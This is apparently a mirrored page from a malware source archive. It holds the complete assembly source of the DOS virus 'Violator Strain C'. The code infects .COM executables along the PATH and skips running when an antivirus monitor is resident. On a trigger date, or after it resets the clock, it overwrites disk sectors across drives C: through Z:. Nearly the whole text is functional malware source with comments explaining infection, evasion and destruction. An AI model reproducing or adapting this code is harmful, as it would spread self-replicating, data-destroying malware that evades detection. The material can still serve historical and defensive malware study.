mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
442 lines
16 KiB
NASM
442 lines
16 KiB
NASM
|
;
|
||
|
; Violator Strain C - "Violator strikes again..."
|
||
|
;
|
||
|
; Written by The High Evolutionary
|
||
|
; RABID International Development Corp.
|
||
|
;
|
||
|
|
||
|
;
|
||
|
; Here are the equates for when the virus will destroy media
|
||
|
;
|
||
|
|
||
|
month equ 6 ;Set month to June
|
||
|
day equ 22 ;Set day to the 22nd
|
||
|
year equ 1991 ;Set year to 1991
|
||
|
|
||
|
sectors equ 256 ;Fry 256 sectors on the diskette
|
||
|
lastdrv equ 26 ;Set lastdrive to be fried here
|
||
|
|
||
|
|
||
|
CODE SEGMENT
|
||
|
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||
|
ORG $+0100H
|
||
|
|
||
|
@write macro drive,sec,buf
|
||
|
pushf ; Push all flags onto the stack
|
||
|
mov al,drive ; Select drive to write
|
||
|
mov cx,sec ; Choose amount of sectors
|
||
|
mov dx,0 ; Set format to start at sec. 0
|
||
|
mov bx,offset buf ; Set format to have intro
|
||
|
; string imbedded in sector 0
|
||
|
int 26h ; Call BIOS to write drive
|
||
|
popf ; Restore the flags we pushed
|
||
|
endm
|
||
|
|
||
|
|
||
|
violator:
|
||
|
JMP virus
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
NOP
|
||
|
|
||
|
v_start equ $
|
||
|
|
||
|
virus: PUSH CX
|
||
|
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||
|
; The 2nd and 3rd bytes get modified.
|
||
|
CLD ;Pointers will be auto INcremented
|
||
|
MOV SI,DX ;Access data as offset from SI
|
||
|
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
|
||
|
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
|
||
|
MOV CX,3
|
||
|
REPZ MOVSB ;Restore original first 3 bytes of .COM
|
||
|
MOV SI,DX ;Keep SI pointing to the data area
|
||
|
;
|
||
|
; This routine here will check to see if FSP or VirexPC is active. If it is,
|
||
|
; then we will not run as to avoid detection...
|
||
|
;
|
||
|
; This is done by using some wierd undocumented DOS call which I've never seen
|
||
|
; before, but nonetheless, it does the job...
|
||
|
;
|
||
|
|
||
|
mov ax,0ff0fh ;Check memory marker
|
||
|
int 21h
|
||
|
cmp ax,101h ;Is the marker for VirexPC/FSP resident
|
||
|
|
||
|
jne year_check ;No? Continue with the virus
|
||
|
jmp quit ;Yes! Terminate the virus
|
||
|
|
||
|
year_check:
|
||
|
MOV AH,2AH ; Get date info
|
||
|
INT 21h ;
|
||
|
CMP CX,year ; Check if it's (year)
|
||
|
jb get_space ; Not the year, then must be an
|
||
|
; XT...
|
||
|
JGE month_check ; Yes? Check the month
|
||
|
JMP do_shit ; No? Go to infection routine
|
||
|
|
||
|
month_check:
|
||
|
mov ah,2ah
|
||
|
int 21h
|
||
|
CMP DH,month ; Check if it's (month)
|
||
|
JGE day_check ; Yeah? Check the day
|
||
|
JMP do_shit ; No? Infect a phile
|
||
|
|
||
|
day_check:
|
||
|
CMP DL,day ; Check if it's (day)
|
||
|
JGE fry_drives ; Yeah? Kill all drives
|
||
|
JMP do_shit ; No? Infect a poor guy!
|
||
|
|
||
|
get_space:
|
||
|
cmp cx,1990 ; Did we change the clock?
|
||
|
je was_changed ; Yes we did. Continue...
|
||
|
;
|
||
|
; We only get here if the date is not 1990
|
||
|
;
|
||
|
mov ah,2bh
|
||
|
mov cx,1990 ; Set date to 1990
|
||
|
int 21h
|
||
|
mov ah,2dh
|
||
|
mov cl,1 ; Set minutes to 1
|
||
|
int 21h
|
||
|
|
||
|
;
|
||
|
; We only get here is the date is 1990. Check clock...
|
||
|
;
|
||
|
|
||
|
was_changed:
|
||
|
mov ah,2ch
|
||
|
int 21h ; Get time
|
||
|
cmp cl,15 ; 15 minutes...
|
||
|
jae fry ; Have we been run after 15
|
||
|
; minutes of usage? Yes! Fry!
|
||
|
jmp month_check ; No! Continue...
|
||
|
|
||
|
;
|
||
|
; Only print this if it's June 22nd, 1991
|
||
|
;
|
||
|
|
||
|
fry_drives:
|
||
|
mov ah,9
|
||
|
mov dx,si ; Load DX with SI segment
|
||
|
add dx,strike ; Print out a message
|
||
|
int 21h
|
||
|
|
||
|
fry: cmp byte ptr [si+drv],lastdrv ; Check to see if the last
|
||
|
; drive is fried
|
||
|
ja do_shit ; If yeah. Then gedoudahere
|
||
|
@write [si+drv],256,intro ; No? Then fry the drive...
|
||
|
inc byte ptr [si+drv] ; Increment for the next drive
|
||
|
jmp fry ; Then go up and fry another
|
||
|
|
||
|
do_shit:PUSH ES ; Push ES onto the stack
|
||
|
MOV AH,2FH
|
||
|
INT 21H
|
||
|
MOV [SI+old_dta],BX
|
||
|
MOV [SI+old_dts],ES ;Save the DTA address from ES
|
||
|
POP ES ;Restore the original ES segment
|
||
|
MOV DX,dta ;Offset of new DTA in virus data area
|
||
|
ADD DX,SI ;Compute DTA address
|
||
|
MOV AH,1AH
|
||
|
INT 21H ;Set new DTA to inside our own code
|
||
|
PUSH ES ;Push ES onto the stack
|
||
|
PUSH SI ;Push the source index
|
||
|
MOV ES,DS:2CH
|
||
|
MOV DI,0 ;ES:DI points to environment
|
||
|
|
||
|
find_path:
|
||
|
POP SI
|
||
|
PUSH SI ;Get SI back
|
||
|
ADD SI,env_str ;Point to "PATH=" string in data area
|
||
|
LODSB
|
||
|
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
|
||
|
REPNZ SCASB ;Search for first character
|
||
|
MOV CX,4
|
||
|
|
||
|
check_next_4:
|
||
|
LODSB
|
||
|
SCASB
|
||
|
JNZ find_path ;If not all there, abort & start over
|
||
|
LOOP check_next_4 ;Loop to check the next character
|
||
|
|
||
|
POP SI
|
||
|
POP ES
|
||
|
MOV [SI+path_ad],DI ;Save the address of the PATH
|
||
|
MOV DI,SI
|
||
|
ADD DI,wrk_spc ;File name workspace
|
||
|
MOV BX,SI ;Save a copy of SI
|
||
|
ADD SI,wrk_spc ;Point SI to workspace
|
||
|
MOV DI,SI ;Point DI to workspace
|
||
|
JMP SHORT slash_ok
|
||
|
|
||
|
set_subdir:
|
||
|
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
|
||
|
JNZ found_subdir ;If not, there are more subdirectories
|
||
|
JMP all_done ;Else, we're all done
|
||
|
|
||
|
found_subdir:
|
||
|
PUSH DS
|
||
|
PUSH SI
|
||
|
MOV DS,ES:2CH ;DS points to environment segment
|
||
|
MOV DI,SI
|
||
|
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||
|
ADD DI,wrk_spc ;DI points to file name workspace
|
||
|
|
||
|
move_subdir:
|
||
|
LODSB ;Get character
|
||
|
CMP AL,';' ;Is it a ';' delimiter?
|
||
|
JZ moved_one ;Yes, found another subdirectory
|
||
|
CMP AL,0 ;End of PATH string?
|
||
|
JZ moved_last_one ;Yes
|
||
|
STOSB ;Save PATH marker into [DI]
|
||
|
JMP SHORT move_subdir
|
||
|
|
||
|
moved_last_one:
|
||
|
MOV SI,0
|
||
|
|
||
|
moved_one:
|
||
|
POP BX ;Pointer to virus data area
|
||
|
POP DS ;Restore DS
|
||
|
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||
|
CMP CH,'\' ;Ends with "\"?
|
||
|
JZ slash_ok ;If yes
|
||
|
MOV AL,'\' ;Add one, if not
|
||
|
STOSB
|
||
|
|
||
|
slash_ok:
|
||
|
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||
|
MOV SI,BX ;Restore SI
|
||
|
ADD SI,f_spec ;Point to "*.COM"
|
||
|
MOV CX,6 ;Set to read in 6 bytes
|
||
|
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||
|
MOV SI,BX
|
||
|
MOV AH,4EH
|
||
|
MOV DX,wrk_spc
|
||
|
ADD DX,SI ;DX points to "*.COM" in workspace
|
||
|
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||
|
INT 21H
|
||
|
JMP SHORT find_first
|
||
|
|
||
|
find_next:
|
||
|
MOV AH,4FH
|
||
|
INT 21H
|
||
|
|
||
|
find_first:
|
||
|
JNB found_file ;Jump if we found it
|
||
|
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||
|
|
||
|
found_file:
|
||
|
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||
|
AND AL,1CH ;Mask to remove all but seconds
|
||
|
CMP AL,1CH ;56 seconds -> already infected
|
||
|
JZ find_next ;If so, go find another file
|
||
|
|
||
|
;******************************************************************************
|
||
|
;Is the file too long? If it's 64000 bytes, then don't infect it
|
||
|
;******************************************************************************
|
||
|
|
||
|
CMP WORD PTR [SI+dta_len],(0FA00H-virlen)
|
||
|
;Is the file too large
|
||
|
;
|
||
|
; Here we take into acount that the file will fit into even the largest legal
|
||
|
; COM file...
|
||
|
;
|
||
|
|
||
|
JA find_next ;If too long, find another one
|
||
|
|
||
|
;******************************************************************************
|
||
|
;Is it too short? If it's 1500 bytes or smaller, then don't infect it
|
||
|
;******************************************************************************
|
||
|
|
||
|
CMP WORD PTR [SI+dta_len],5dcH
|
||
|
JB find_next ;Then go find another one
|
||
|
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||
|
PUSH SI ;Save SI
|
||
|
ADD SI,dta_nam ;Point SI to file name
|
||
|
|
||
|
more_chars:
|
||
|
LODSB
|
||
|
STOSB
|
||
|
CMP AL,0
|
||
|
JNZ more_chars ;Move characters until we find a 00
|
||
|
POP SI
|
||
|
MOV AX,OFFSET 4300H
|
||
|
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||
|
ADD DX,SI
|
||
|
INT 21H
|
||
|
MOV [SI+old_att],CX ;Save the old attributes
|
||
|
MOV AX,OFFSET 4301H ;Set attributes
|
||
|
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
|
||
|
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||
|
ADD DX,SI ;Point to \path\name
|
||
|
INT 21H
|
||
|
MOV AX,OFFSET 3D02H ;Read/Write
|
||
|
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||
|
ADD DX,SI ;Point to \path\name
|
||
|
INT 21H
|
||
|
JNB opened_ok ;If file was opened OK
|
||
|
JMP fix_attr ;If it failed, restore the attributes
|
||
|
|
||
|
opened_ok:
|
||
|
MOV BX,AX
|
||
|
MOV AX,OFFSET 5700H
|
||
|
INT 21H
|
||
|
MOV [SI+old_tim],CX ;Save file time
|
||
|
MOV [SI+ol_date],DX ;Save the date
|
||
|
MOV AH,2CH
|
||
|
INT 21H
|
||
|
|
||
|
infect:
|
||
|
MOV AH,3FH
|
||
|
MOV CX,3
|
||
|
MOV DX,first_3
|
||
|
ADD DX,SI
|
||
|
INT 21H ;Save first 3 bytes into the data area
|
||
|
JB fix_time_stamp ;Quit, if read failed
|
||
|
CMP AX,3 ;Were we able to read all 3 bytes?
|
||
|
JNZ fix_time_stamp ;Quit, if not
|
||
|
MOV AX,OFFSET 4202H
|
||
|
MOV CX,0
|
||
|
MOV DX,0
|
||
|
INT 21H
|
||
|
JB fix_time_stamp ;Quit, if it didn't work
|
||
|
MOV CX,AX ;DX:AX (long int) = file size
|
||
|
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
|
||
|
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||
|
ADD CX,OFFSET c_len_y
|
||
|
MOV DI,SI ;Point DI to virus data area
|
||
|
SUB DI,OFFSET c_len_x
|
||
|
;Point DI to reference vir_dat, at start of pgm
|
||
|
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||
|
MOV AH,40H
|
||
|
MOV CX,virlen ;Length of virus, in bytes
|
||
|
MOV DX,SI
|
||
|
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||
|
;address of virus code in memory
|
||
|
INT 21H
|
||
|
JB fix_time_stamp ;Jump if error
|
||
|
CMP AX,OFFSET virlen ;All bytes written?
|
||
|
JNZ fix_time_stamp ;Jump if error
|
||
|
MOV AX,OFFSET 4200H
|
||
|
MOV CX,0
|
||
|
MOV DX,0
|
||
|
INT 21H
|
||
|
JB fix_time_stamp ;Jump if error
|
||
|
MOV AH,40H
|
||
|
MOV CX,3
|
||
|
MOV DX,SI ;Virus data area
|
||
|
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||
|
INT 21H
|
||
|
|
||
|
fix_time_stamp:
|
||
|
MOV DX,[SI+ol_date] ;Old file date
|
||
|
MOV CX,[SI+old_tim] ;Old file time
|
||
|
AND CX,OFFSET 0FFE0H
|
||
|
OR CX,1CH
|
||
|
MOV AX,OFFSET 5701H
|
||
|
INT 21H
|
||
|
MOV AH,3EH
|
||
|
INT 21H
|
||
|
|
||
|
fix_attr:
|
||
|
MOV AX,OFFSET 4301H
|
||
|
MOV CX,[SI+old_att] ;Old Attributes
|
||
|
MOV DX,wrk_spc
|
||
|
ADD DX,SI ;DX points to \path\name in workspace
|
||
|
INT 21H
|
||
|
|
||
|
all_done:
|
||
|
PUSH DS
|
||
|
MOV AH,1AH
|
||
|
MOV DX,[SI+old_dta]
|
||
|
MOV DS,[SI+old_dts]
|
||
|
INT 21H
|
||
|
POP DS
|
||
|
|
||
|
quit:
|
||
|
POP CX
|
||
|
XOR AX,AX
|
||
|
XOR BX,BX
|
||
|
XOR DX,DX
|
||
|
XOR SI,SI
|
||
|
MOV DI,OFFSET 0100H ;Move offset 100h into DI
|
||
|
PUSH DI ;Push DI onto the stack
|
||
|
XOR DI,DI ;Zero it out
|
||
|
RET 0FFFFH ;Jump to the location in DI
|
||
|
;
|
||
|
; This little trick is used to jump back to the beginning of the program after
|
||
|
; our JMP instruction. This is to return control to the host program.
|
||
|
;
|
||
|
|
||
|
vir_dat EQU $
|
||
|
|
||
|
drv_ db 2 ;drv is the drive to be
|
||
|
;nuked! (Drive C:)
|
||
|
intro_ DB 13,10
|
||
|
db 'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.'
|
||
|
db 13,10
|
||
|
strike_ db 13,10
|
||
|
db 'Violator strikes again...'
|
||
|
db 13,10,'$'
|
||
|
olddta_ DW 0 ;Old DTA offset
|
||
|
olddts_ DW 0 ;Old DTA segment
|
||
|
oldtim_ DW 0 ;Old Time
|
||
|
oldate_ DW 0 ;Old date
|
||
|
oldatt_ DW 0 ;Old file attributes
|
||
|
first3_ EQU $
|
||
|
INT 20H ;3 byte equate to terminate program
|
||
|
NOP
|
||
|
jmpop_ DB 0E9H ;Start of JMP instruction
|
||
|
jmpdsp_ DW 0 ;The displacement part
|
||
|
envstr_ DB 'PATH=' ;Find this in the environment
|
||
|
fspec_ DB '*.COM',0 ;What to infect???
|
||
|
pathad_ DW 0 ;Path address
|
||
|
namptr_ DW 0 ;Pointer to start of file name
|
||
|
wrkspc_ DB 40h dup (0)
|
||
|
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||
|
dtatim_ DW 0,0 ;Time stamp in DTA
|
||
|
dtalen_ DW 0,0 ;File length in the DTA
|
||
|
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||
|
|
||
|
lst_byt EQU $
|
||
|
|
||
|
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||
|
codelen = vir_dat - v_start ;Length of virus code, only
|
||
|
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||
|
c_len_y = vir_dat - v_start + 100H
|
||
|
drv = drv_ - vir_dat
|
||
|
intro = intro_ - vir_dat
|
||
|
strike = strike_ - vir_dat
|
||
|
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||
|
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||
|
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||
|
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||
|
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||
|
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||
|
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||
|
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||
|
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||
|
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||
|
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||
|
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||
|
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||
|
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||
|
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||
|
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||
|
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||
|
|
||
|
CODE ENDS
|
||
|
END violator
|